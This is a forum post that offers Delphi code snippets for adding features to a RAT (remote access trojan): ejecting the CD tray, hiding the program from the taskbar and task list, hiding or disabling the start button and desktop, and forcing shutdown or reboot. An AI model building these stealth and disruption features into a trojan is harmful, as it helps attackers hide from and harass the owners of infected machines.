• Welcome to ForumKorner!
    Join today and become a part of the community.

[Code] Useful Codes to add into a Delphi Rat

djfshady

Member
Reputation
0
These are for more advanced delphi user's as i am not explaining how to add them into delphi (for beginners). sorry beginner's , but i will post a tut on how to shortly. i will also add more codes to this thread.

Open/close CD ROM
Code:
Uses mmsystem;
mciSendString('Set cdaudio door open wait', nil, 0, handle);    to open
mciSendString('Set cdaudio door closed wait', nil, 0, handle);    to close

Hide/show application on task bar
Code:
Uses Shellapi;
ShowWindow(application.handle, SW_hide);  //hide
ShowWindow(application.handle, SW_restore);   //show

Hide/show application in task list
Code:
implementation
function RegisterServiceProcess(idProcess,dwType : Integer):Integer; stdcall; external 'KERNEL32.Dll';

Hide/show start button
Code:
Uses Shellapi;
ShowWindow(FindWindowEx(FindWindow('Shell_traywnd',nil),0,'Button',nil),1);  //show

ShowWindow(FindWindowEx(FindWindow('Shell_traywnd',nil),0,'Button',nil),0);  //hide

EnableWindow(FindWindowEx(FindWindow('Shell_traywnd',nil),0,'Button',nil),True);?    //enable start button

EnableWindow(FindWindowEx(FindWindow('Shell_traywnd',nil),0,'Button',nil),False)?;    //disable start button

Hide/show desktop
Code:
Uses Shellapi;
ShowWindow(FindWindow('progman',nil),1);    //to show
ShowWindow(FindWindow('progman',nil),0);    //to hide
EnableWindow(FindWindow('shell_traywnd',nil),True); //to enable desktop
EnableWindow(FindWindow('shell_traywnd',nil),False); //to disable desktop

Shutdown/Restart windows
Code:
Uses Shellapi;
ExitWindowsEx(ewx_Shutdown,0);    //to shutdown
ExitWindowsEx(ewx_Reboot,0);    //to restart
 
Top